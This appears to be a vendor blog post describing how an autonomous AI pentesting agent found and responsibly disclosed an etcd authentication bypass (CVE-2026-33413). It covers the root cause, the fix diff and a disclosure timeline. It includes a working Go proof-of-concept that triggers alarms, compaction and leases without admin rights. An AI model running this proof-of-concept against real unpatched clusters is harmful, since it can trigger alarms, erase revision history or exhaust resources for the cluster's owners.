Strix is proud to be an active participant in the open-source community. As an open-source project itself from day one, with more than 23.5k stars on GitHub, we have deep respect for the maintainers who keep critical OSS infrastructure running.
We wanted to give back to that community, so we recently deployed our autonomous AI agent, Strix, to identify and report vulnerabilities in popular OSS repositories, including etcd (~52k stars).
These were vulnerabilities that every other human and AI pentester had missed up to that point.
TL;DR
- Strix found and verified a critical etcd auth bypass later published as CVE-2026-33413 (CVSS 8.8).
- Unauthenticated or under-privileged callers could reach
Maintenance.Alarm,KV.Compact, andLease.LeaseGrantthrough missing auth-wrapper checks.
Etcd: Critical Authentication Bypass (CVE-2026-33413)
Etcd is the distributed key-value store that serves as the backbone for countless distributed systems worldwide.

We pointed our agent at the etcd repository. After about 2 hours, completely autonomously, it had found a critical broken-access control vulnerability, later designated as CVE-2026-33413 (CVSS 8.8). It spun up a test environment itself to verify the issue with a POC before reporting it, which is how Strix is able to be confident the vulnerabilities it finds are not false positives.
The Impact:
This vulnerability would have allowed any user with network access to the client gRPC endpoint (port 2379) to invoke sensitive methods without authentication or with a token that lacks the necessary permissions (e.g. root/admin). These operations are processed directly by the backend applier which assumes authorization has already been performed.
The affected methods included were
Maintenance.Alarm, which allows triggering or clearing cluster alarms (e.g., Nospace, Corrupt).KV.Compact, which allows triggering database compaction, potentially causing data loss (history) or DoS via resource consumption.Lease.LeaseGrant, which allows creating leases, potentially exhausting memory or other resources.
How Strix Found It:
Our agent provided a technical analysis of the vulnerability:
The etcd server architecture applies requests via a chain of appliers. When authentication is enabled, authApplierV3 (in server/etcdserver/apply/auth.go) wraps the underlying applier to enforce permissions. However, authApplierV3 only implements overrides for specific methods like Put, Range, DeleteRange, Txn, and Auth-management methods.
Crucially, it missed Alarm, Compaction, and LeaseGrant. Because authApplierV3 embeds the interface containing these methods, calls were passed straight through to the backend, executing without ever checking credentials.
Since authApplierV3 embeds the applierV3 interface (which includes these methods), calls to these methods are passed through to the embedded implementation (typically applierV3Backend) which performs the operation without checking credentials.
The RPC layer (v3rpc) also relies on the applier chain for authorization of these specific operations (except for Snapshot and Defragment which are checked at the RPC handler level). For Alarm, Compaction, and LeaseGrant, the RPC handlers (maintenanceServer, kvServer, leaseServer) forward requests to Raft, and the applier executes them without a second check.
| 1 | maintenanceServer / kvServer / leaseServer |
| 2 | -> Raft |
| 3 | -> authApplierV3 |
| 4 | -> applierV3Backend (executes without a second check) |
Proof of Concept
To validate exploitability end-to-end, Strix generated a reproducible setup and test flow.
Environment Setup (Generated by Strix)
| 1 | # 1) Start a local etcd server |
| 2 | etcd \ |
| 3 | --listen-client-urls http://127.0.0.1:2379 \ |
| 4 | --advertise-client-urls http://127.0.0.1:2379 |
| 5 | |
| 6 | # 2) Create root user and enable auth |
| 7 | etcdctl user add root:rootpass |
| 8 | etcdctl user grant-role root root |
| 9 | etcdctl auth enable |
Reproduction Flow
Strix then executed the following sequence to verify the behavior:
- Start etcd with authentication enabled.
- Connect as an unauthenticated client (or a non-admin user).
- Call
Maintenance.AlarmwithACTIVATEandNOSPACE. - Observe the alarm can be activated.
- Call
KV.Compact. - Observe compaction proceeds.
- Call
Lease.LeaseGrant. - Observe lease creation succeeds.
| 1 | ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) |
| 2 | defer cancel() |
| 3 | |
| 4 | maint := etcdserverpb.NewMaintenanceClient(cli.ActiveConnection()) |
| 5 | _, alarmErr := maint.Alarm(ctx, &etcdserverpb.AlarmRequest{ |
| 6 | Action: etcdserverpb.AlarmRequest_ACTIVATE, |
| 7 | Alarm: etcdserverpb.AlarmType_NOSPACE, |
| 8 | }) |
| 9 | |
| 10 | kv := etcdserverpb.NewKVClient(cli.ActiveConnection()) |
| 11 | _, compactErr := kv.Compact(ctx, &etcdserverpb.CompactionRequest{ |
| 12 | Revision: 1, |
| 13 | Physical: true, |
| 14 | }) |
| 15 | |
| 16 | lease := etcdserverpb.NewLeaseClient(cli.ActiveConnection()) |
| 17 | _, leaseErr := lease.LeaseGrant(ctx, &etcdserverpb.LeaseGrantRequest{ |
| 18 | TTL: 60, |
| 19 | }) |
Code Analysis
During root-cause analysis, Strix highlighted the core issue in server/etcdserver/apply/auth.go: authApplierV3 wraps the applier chain but relies on method overrides for permission checks.
| 1 | type authApplierV3 struct { |
| 2 | applierV3 |
| 3 | as auth.AuthStore |
| 4 | lessor lease.Lessor |
| 5 | mu sync.Mutex |
| 6 | authInfo auth.AuthInfo |
| 7 | } |
Because methods like Alarm, Compaction, and LeaseGrant were not explicitly overridden in the auth wrapper, they fell through to the embedded backend implementation.
Strix surfaced the fix pattern below as the minimal auth check guardrail for these paths:
| 1 | +func (aa *authApplierV3) Alarm(r *pb.AlarmRequest) (*pb.AlarmResponse, error) { |
| 2 | + if err := aa.as.IsAdminPermitted(&aa.authInfo); err != nil { |
| 3 | + return nil, err |
| 4 | + } |
| 5 | + return aa.applierV3.Alarm(r) |
| 6 | +} |
| 7 | + |
| 8 | func (aa *authApplierV3) Put(r *pb.PutRequest) (*pb.PutResponse, *traceutil.Trace, error) { |
Remediation
Strix recommended implementing missing auth-wrapper methods in server/etcdserver/apply/auth.go for at least:
AlarmCompactionLeaseGrant
These handlers should enforce permission checks (for example, IsAdminPermitted) before delegating to the embedded applier.
A representative fix for Alarm looked like this:
| 1 | func (aa *authApplierV3) Alarm(r *pb.AlarmRequest) (*pb.AlarmResponse, error) { |
| 2 | if err := aa.as.IsAdminPermitted(&aa.authInfo); err != nil { |
| 3 | return nil, err |
| 4 | } |
| 5 | return aa.applierV3.Alarm(r) |
| 6 | } |
The etcd security team was incredibly responsive, validating the PoC Strix generated and moving quickly to patch the issue in their March 2026 security release. Huge kudos to them.
Timeline
Initial Contact: On Tue, Mar 3, 2026, Strix scanned etcd and identified the vulnerability.
March 3, 2026 (3:33 PM): We disclosed the vulnerability to the etcd security team.
March 9, 2026: The etcd security team confirmed the issue.
March 17, 2026: The patch was shipped in etcd's March 2026 security release.
Publication: March 26, 2026 (CVE-2026-33413).
Conclusion
Strix found a critical auth bypass in etcd, proved it with a working exploit path, and gave the maintainers the evidence needed to fix it quickly.
This is what autonomous pentesting should look like: real findings, validated end to end, with enough context to act immediately.
These bugs were found where thousands of others missed them. Try Strix on your own apps now and see what it finds before attackers do.

